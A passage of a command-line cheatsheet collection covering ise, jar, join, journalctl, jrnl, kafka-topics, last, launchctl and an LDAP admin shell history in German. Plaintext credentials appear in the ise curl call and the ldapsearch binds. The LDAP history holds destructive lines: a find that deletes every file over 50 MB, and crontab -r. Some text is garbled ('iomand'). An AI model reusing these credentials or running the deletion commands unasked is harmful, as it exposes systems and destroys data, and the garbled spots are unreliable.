             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

67 - 🖥️ise

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ise command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██╗███████╗███████╗
#   ██║██╔════╝██╔════╝
#   ██║███████╗█████╗  
#   ██║╚════██║██╔══╝  
#   ██║███████║███████╗
#   ╚═╝╚══════╝╚══════╝

# TestIse auf Mars
curl -k --include --header 'Accept:application/json/' --user ersadmin:Blume2019 https://10.37.1.200:9060/ers/config/networkdevice

# https://community.cisco.com/t5/security-documents/ise-ers-api-examples/ta-p/3622623
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

68 - 🖥️jar

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the jar command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#       ██╗ █████╗ ██████╗ 
#       ██║██╔══██╗██╔══██╗
#       ██║███████║██████╔╝
#  ██   ██║██╔══██║██╔══██╗
#  ╚█████╔╝██║  ██║██║  ██║
#   ╚════╝ ╚═╝  ╚═╝╚═╝  ╚═╝

# List all packages with at least a class defined in a JAR file
jar tf "$1" | grep '/.*\.class$' | xargs dirname | sort -u | tr / .
# Explanation: The jar command allows you to read or manipulate JAR (Java ARchive) files, which are ZIP files that usually contain classfiles (Java compiled bytecode files) and possibly manifests and configuration files. We specify that we want to list file contents (t) that we provide as an argument (f, otherwise the jar will be read from stdin). From the output, we get only the paths that contain a classfile (grep), then the path to the package that contains it (xargs dirname), we get the unique, sorted paths and translate /s to .s (to display their names as they would be shown in Java syntax).
# Limitations: Will only exhaustively list the packages with a defined class for languages that require packages to map to the directory structure (e.g.: Java does, Scala does not). If this convention is respected, the command will output an exhaustive list of packages nonetheless.

cat foo.zip | jar xv
# Extract a Zip File from STDOUT with the Jar Command
# Plain old unzip will not unzip output coming from STDOUT the ZIP file format includes a directory (index) at the end of the archive. This directory says where, within the archive each file is located and thus allows for quick, random access, without reading the entire archive. This would appear to pose a problem when attempting to read a ZIP archive through a pipe, in that the index is not accessed until the very end and so individual members cannot be correctly extracted until after the file has been entirely read and is no longer available. As such it appears unsurprising that most ZIP decompressors simply fail when the archive is supplied through a pipe. The directory at the end of the archive is not the only location where file meta information is stored in the archive. In addition, individual entries also include this information in a local file header, for redundancy purposes. From the `jar` manpage: > The jar command is a general-purpose archiving and compression tool, based on ZIP and the ZLIB compression format. JAR is smart enough to know how to handle these local file headers when the index is unavailable when reading through the pipe. (Most of the explanation in this description is taken from https://serverfault.com/a/589528/314226 , though they recommend using `bsdtar`, but that is not always available on systems) Show Sample Output:

        # ?? cat foo.zip | jar xv 
        # extracted: foo/bae.txt
        # extracted: foo/bar.txt
        # extracted: foo/baz.txt
        # extracted: foo/boo.txt
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

69 - 🖥️join

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the join command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                     ██╗ ██████╗ ██╗███╗   ██╗
#                     ██║██╔═══██╗██║████╗  ██║
#                     ██║██║   ██║██║██╔██╗ ██║
#                ██   ██║██║   ██║██║██║╚██╗██║
#                ╚█████╔╝╚██████╔╝██║██║ ╚████║
#                 ╚════╝  ╚═════╝ ╚═╝╚═╝  ╚═══╝
                     

join -o 1.1,2.2 -1 1 -2 1 -t: file1 file2
# Merge two files together based on the first column in each. Print file1.col1:file2.col2.

join -a2 -j2 <(cat -n old|sort -k2) <(cat -n new|sort -k2)|awk 'NF==3{print$3,-$3+$2,$1;next}{print$2,"-",$1}'|sort -n 
# show rank change

#==============================##==============================#
# CMD JOIN						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

70 - 🖥️journalctl

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the journalctl command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                     ██╗ ██████╗ ██╗   ██╗██████╗ ███╗   ██╗ █████╗ ██╗      ██████╗████████╗██╗     
#                     ██║██╔═══██╗██║   ██║██╔══██╗████╗  ██║██╔══██╗██║     ██╔════╝╚══██╔══╝██║     
#                     ██║██║   ██║██║   ██║██████╔╝██╔██╗ ██║███████║██║     ██║        ██║   ██║     
#                ██   ██║██║   ██║██║   ██║██╔══██╗██║╚██╗██║██╔══██║██║     ██║        ██║   ██║     
#                ╚█████╔╝╚██████╔╝╚██████╔╝██║  ██║██║ ╚████║██║  ██║███████╗╚██████╗   ██║   ███████╗
#                 ╚════╝  ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚══════╝ ╚═════╝   ╚═╝   ╚══════╝
                                                                                                     
                                                                                                     
                                                                                                     
                                                                                                    
# Actively follow log (like tail -f)
journalctl -f

# Display all errors since last boot
journalctl -b -p err

# Filter by time period
journalctl --since=2012-10-15 --until="2011-10-16 23:59:59"

# Show list of systemd units logged in journal
journalctl -F _SYSTEMD_UNIT

# Filter by specific unit
journalctl -u dbus

# Filter by executable name
journalctl /usr/bin/dbus-daemon

# Filter by PID
journalctl _PID=123

# Filter by Command, e.g., sshd
journalctl _COMM=sshd

# Filter by Command and time period
journalctl _COMM=crond --since '10:00' --until '11:00'

# List all available boots 
journalctl --list-boots

# Filter by specific User ID e.g., user id 1000 
journalctl _UID=1000

#==============================#
# CMD JOURNALCTL
#==============================##==============================#
journalctl /sbin/dhclient
#

journalctl /dev/sd?
#

journalctl -b
# Get boot information with -b option

journalctl –since=yesterday
# Use anotger filer to get a log view since yesterday

journalctl -u sshd --since=yesterday  
# Journald gets its information from systemctl, let us get inofrmation of sshd service

journalctl -u sshd --since=yesterday -o verbose
# To get more detailed infomration use versbose option

journalctl --unit=named --follow
# We can even use systemctl to get detailed information about an service - follow DNS Bind named log - prints and follows the systemd logfile entires for the DNS bind named.service unit (on Arch linux, your distro bind service may have a different name)

journalctl -k
# show kernel messages only

# Retrieve dropped connections from firewalld journaling
journalctl -b | grep -o "PROTO=.*" | sed -r 's/(PROTO|SPT|DPT|LEN)=//g' | awk '{print $1, $3}' | sort | uniq -c
# Explanation: We take the output of journalctl since the last boot (-b flag) and output from PROTO= until the EOL. Then, we remove identification tags (PROTO=/SPT=/DPT=/LEN=) and print just the protocol and destination port (cols 1 and 3). We sort the output properly so we can aggregate them on the call over uniq.
# Limitations: 
    # Only works on Linux
    # You use firewalld and you have logging set on ALL (see firewalld.conf for details)
    # You use journald for logging
    # Your user has sudo privileges

#==============================##==============================#
# CMD JOURNALCTL
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

71 - 🖥️jrnl

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the jrnl command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                     ██╗██████╗ ███╗   ██╗██╗     
#                     ██║██╔══██╗████╗  ██║██║     
#                     ██║██████╔╝██╔██╗ ██║██║     
#                ██   ██║██╔══██╗██║╚██╗██║██║     
#                ╚█████╔╝██║  ██║██║ ╚████║███████╗
#                 ╚════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝
                                                  
                                                  
                                                 
# Add entry to default jrnl (from your configured text editor)
jrnl

# Add entry to default jrnl
jrnl Write entry here.

# List of tags
jrnl --tags

# Entries per tag
jrnl @tag

# Export jrnl as json
jrnl --export json

# Entries in a timeframe
jrnl -from 2009 -until may

# Add Sublime text to .jrnl_config

# Windows
"editor": "F:\\Powerpack\\Sublime\\sublime_text.exe -w"

# Linux
"editor": "/usr/bin/sublime -w"

#==============================##==============================#
# CMD JRNL						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

72 - 🖥️kafka-topics

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the kafka-topics command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗  ██╗ █████╗ ███████╗██╗  ██╗ █████╗    ████████╗ ██████╗ ██████╗ ██╗ ██████╗███████╗
#  ██║ ██╔╝██╔══██╗██╔════╝██║ ██╔╝██╔══██╗   ╚══██╔══╝██╔═══██╗██╔══██╗██║██╔════╝██╔════╝
#  █████╔╝ ███████║█████╗  █████╔╝ ███████║█████╗██║   ██║   ██║██████╔╝██║██║     ███████╗
#  ██╔═██╗ ██╔══██║██╔══╝  ██╔═██╗ ██╔══██║╚════╝██║   ██║   ██║██╔═══╝ ██║██║     ╚════██║
#  ██║  ██╗██║  ██║██║     ██║  ██╗██║  ██║      ██║   ╚██████╔╝██║     ██║╚██████╗███████║
#  ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝      ╚═╝    ╚═════╝ ╚═╝     ╚═╝ ╚═════╝╚══════╝

# kafka-topics
#
# Comamnd-line tool to manage Kafka topics

# list topics
kafka-topics --zookeeper localhost:2181 --list

# create a topic
kafka-topics --zookeeper localhost:2181 --create --topic logs --partitions 3 --replication-factor 2

# view topic
kafka-topics --zookeeper localhost:2181 --describe --topic logs

# update a topic
kafka-topics --zookeeper localhost:2181 --alter --topic logs --config cleanup.policy=compact

# delete a topic
kafka-topics --zookeeper localhost:2181 --delete --topic logs
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

73 - 🖥️last

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the last command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗      █████╗ ███████╗████████╗
#                ██║     ██╔══██╗██╔════╝╚══██╔══╝
#                ██║     ███████║███████╗   ██║   
#                ██║     ██╔══██║╚════██║   ██║   
#                ███████╗██║  ██║███████║   ██║   
#                ╚══════╝╚═╝  ╚═╝╚══════╝   ╚═╝   
                                                 
                                                 
                                                
last -da | grep -v ^autologinuser
# Check the whole last login log, but filter out that annoying user that must login every minute.

last -da | grep -vE "^(root|reboot|asmith) "
# See the last logged in users, but filter out entries for root, reboots and asmith.

last -da | awk '{print $1 " " $NF}' | sort | uniq -c 
# Analyze your whole lastlog to see the different remote hosts for each user.

last -da|cut -c27-30|uniq|awk -v y=$(date +%Y) '{if(/Jan/){print $0;print "-- " y--}else{print}}' 
# Jeez, how far back do these lastlogs go?

# A newer option of the last command allows you to print the users who were logged in at a specific time. So you may find the culprit for an incident. Note that logs might be rotated.
last -p "2019-06-04 01:31:00" 

# Count how many times everyone logged in to a system this month
last | cut - d' ' - f1 | uniq -c | sort -n

#==============================##==============================#
# CMD LAST						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

74 - 🖥️launchctl

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the launchctl command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗      ██████╗ ██╗   ██╗███╗   ██╗ ██████╗██╗  ██╗ ██████╗████████╗██╗     
#  ██║     ██╔═══██╗██║   ██║████╗  ██║██╔════╝██║  ██║██╔════╝╚══██╔══╝██║     
#  ██║     ██║   ██║██║   ██║██╔██╗ ██║██║     ███████║██║        ██║   ██║     
#  ██║     ██║   ██║██║   ██║██║╚██╗██║██║     ██╔══██║██║        ██║   ██║     
#  ███████╗╚██████╔╝╚██████╔╝██║ ╚████║╚██████╗██║  ██║╚██████╗   ██║   ███████╗
#  ╚══════╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═══╝ ╚═════╝╚═╝  ╚═╝ ╚═════╝   ╚═╝   ╚══════╝

#  launchctl

# A command-line interface to Apple's launchd manager
# for launch daemons (system-wide services) and launch agents (per-user programs).
# launchd loads XML-based *.plist files placed in the appropriate locations,
# and runs the corresponding commands according to their defined schedule.

# Activate a user-specific agent to be loaded into launchd
# whenever the user logs in:
launchctl load ~/Library/LaunchAgents/my_script.plist

# Activate an agent which requires root privileges to run 
# and/or should be loaded whenever any user logs in (note the absence of ~ in the path):
sudo launchctl load /Library/LaunchAgents/root_script.plist

# Activate a system-wide daemon to be loaded 
# whenever the system boots up (even if no user logs in):
sudo launchctl load /Library/LaunchDaemons/system_daemon.plist

# Show all loaded agents/daemons, with the PID if the process they specify is currently running,
# and the exit code returned the last time they ran:
launchctl list

# Unload a currently loaded agent, e.g. to make changes
# (note: the plist file is automatically loaded into launchd after a reboot and/or logging in):
launchctl unload ~/Library/LaunchAgents/my_script.plist

# Manually run a known (loaded) agent/daemon, even if it isn’t the right time
# (note: this command uses the agent's label, rather than the filename):
launchctl start my_script

# Manually kill the process associated with a known agent/daemon, if it's running:
launchctl stop my_script
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

75 - 🖥️ldap

➡️This is a iomand-line reference manual for iomands and iomand iobinations that you don’t use often enough to remember it. This cheatsheet explains the ldap iomand with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ ioMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#            ██╗     ██████╗  █████╗ ██████╗ 
#            ██║     ██╔══██╗██╔══██╗██╔══██╗
#            ██║     ██║  ██║███████║██████╔╝
#            ██║     ██║  ██║██╔══██║██╔═══╝ 
#            ███████╗██████╔╝██║  ██║██║     
#            ╚══════╝╚═════╝ ╚═╝  ╚═╝╚═╝     
                                            
                                            

#----------------#
|# Ldap Notizen #|
#----------------#
ldapsearch -vvv -LLL -b "CN=Tux Tuxy,OU=USR,OU=linuxserver0598,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -x -vvv -LLL -b "CN =Tux Tuxy,OU=USR,OU=linuxserver0598,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -x -vvv -LLL -b "C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -x -vvv -LLL -b "cn =config" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -Y EXTERNAL -vvv -LLL -b "cn=config" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -x -vvv -LLL -b "c=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io

# ldap dump erstellen
cd /tmp/
slapcat -n 1
slapcat -n 1 -l dump.ldif
less dump.ldif
scp dump.ldif srv8504101pdf.linuxserver0041.lxu.io:/root/

# ldap dump Einspielen
ls -l /var/lib/ldap/
cat /var/lib/ldap/DB_CONFIG
slapcat --help
slapcat -n 1 -l /tmp/dump.ldif

https://blog.tralios.de/2016/09/umzug-einer-ldap-datenbank-auf-einen-neuen-server/

###############################  LDAP History srv8504101pdf ###################################
cd /etc/openldap/
vi slapd.conf
vi slapd.conf.default
vi slapd.conf.YaSTsave
vi ldap.conf
cd slapd.d
vi cn\=config.ldif
cd cn\=config/
cd cn\=schema/
vi cn\=\{0\}core.ldif

zypper update
reboot; exit

less messages
grep "error" *
grep "error" * | less
cd /etc
ls -latr
grep -i ldap *
cd /var/log
ls -latr
tail -f messages
cd /tmp/

slapcat -n 1
slapcat -n 1 -l dump.ldif

less dump.ldif
scp dump.ldif srv8504101pdf.linuxserver0041.lxu.io:/root/

zypper up
zypper se bind
zypper up
cat /etc/SuSE-release
l -tr
du -shx pdf

zypper intall ccze
zypper se ccze
ldapsearch -LLL -D cn=Administrator,C=com -w admin -x -t -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -LLL -D cn=Administrator,C=com -w admin -x -t -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io | grep -i TEST
ldapsearch -LLL -D cn=Administrator,C=com -w admin -x -t -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io | grep -i Testuser.lotusnotesen
ldapsearch -LLL -D cn=Administrator,C=com -w admin -x -t -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io | grep -i Testuser.lotusnotesen -A15
ldapsearch -LLL -D cn=Administrator,C=com -w admin -x -t -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io | grep -i Testuser.lotusnotesen -B10 -A20
ldapsearch -LLL -b "CN=MAX MUSTERMAN,OU=USR,OU=linuxserver0093,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io

vi import_ad_ldif.sh

ldapsearch -LLL $OpenLDAPAccess -x -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io "(employeeNumber=DID0019431)"
ldapsearch -LLL "-D cn=Administrator,C=com -w admin" -x -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io "(employeeNumber=DID9819431)"
ldapsearch -LLL "-D cn=Administrator,C=com -w admin" -x -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io "(employeeNumber=9819431)"
ldapsearch -LLL "-D cn=Administrator,C=com -w admin" -x -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io "(uid: unixtux)"
ldapsearch -LLL "-D cn=Administrator,C=com -w admin" -x -b C=com -H ldap://srv8504101pdf.linuxserver0041.lxu.io "uid: unixtux"
ldapsearch -LLL -b "CN=Quentin unixtux,OU=USR,OU=linuxserver0534,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io uid
ldapsearch -vvv -LLL -b "CN=Quentin unixtux,OU=USR,OU=linuxserver0534,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io uid
ldapsearch -vvv -LLL -b "CN=Quentin unixtux,OU=USR,OU=linuxserver0534,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io

cat /var/tmp/ldif_ad/TUTTUXY.ldif
ldapsearch -vvv -LLL -b "CN=Tux Tuxy,OU=USR,OU=linuxserver059859,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io

vgdisplay
lvextend -r --size +5G /dev/system/var

find . -xdev -type f -size +50000k -exec ls -lh {} \; | awk "{ print $8 `: ` $5 }"
find . -xdev -type f -size +50000k -exec ls -lh {} \; | awk "{ print $8 `: ` $5 }"
find . -xdev -type f -size +50000k -exec rm {} \; | awk "{ print $8 `: ` $5 }"

crontab -r
crontab -e

ldapsearch -xLLL -b dc=LXU,dc =io
ldapsearch -xLLL -b dc=LXU,dc =com
ldapsearch -vvv -LLL -b "CN=Tux Tuxy,OU=USR,OU=linuxserver0598,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io

cat /etc/openldap/ldap.conf

ldapsearch -x -vvv -LLL -b "CN =Tux Tuxy,OU=USR,OU=linuxserver0598,O=LXU,C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -x -vvv -LLL -b "C=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -x -vvv -LLL -b "cn =config" -H ldap://srv8504101pdf.linuxserver0041.lxu.io
ldapsearch -Y EXTERNAL -vvv -LLL -b "cn=config" -H ldap://srv8504101pdf.linuxserver0041.lxu.io

/etc/init.d/ldap start & tail -f /var/log/messages

ldapsearch -x -vvv -LLL -b "c=com" -H ldap://srv8504101pdf.linuxserver0041.lxu.io

#============================= Funktionsbeschreibung /root/LDAP-README.txt =====================================#
#	  _     ____    _    ____    ____  _____    _    ____  __  __ _____ 
#	 | |   |  _ \  / \  |  _ \  |  _ \| ____|  / \  |  _ \|  \/  | ____|
#	 | |   | | | |/ _ \ | |_) | | |_) |  _|   / _ \ | | | | |\/| |  _|  
#	 | |___| |_| / ___ \|  __/  |  _ <| |___ / ___ \| |_| | |  | | |___ 
#	 |_____|____/_/   \_\_|     |_| \_\_____/_/   \_\____/|_|  |_|_____|
#
#       
# Dieses Script erstellt ein Backup des VOIP-LDAP Inhaltes und verschiebt die .ldif Datei auf den srv8041backup
#
#==============================================================================================================#

#---------------#
# LDAP Searches
#--------------------------#

# AD-Search welche User haben die Gruppe AR-NWS-Jabber-Users im AD
(&(objectCategory=person)(objectClass=user)(|(linuxserver0AccountType=Internal)(linuxserver0AccountType=External)(linuxserver0AccountType=anonymous))(memberof=CN=AR-NWS-Jabber-Users,OU=NWServices,OU=MISC,OU=SERV,DC=LXU-ds,DC=LXU,DC=io))

# Selbe AD-Search welche User haben die Gruppe AR-NWS-Jabber-Users bei verwendung von OID's
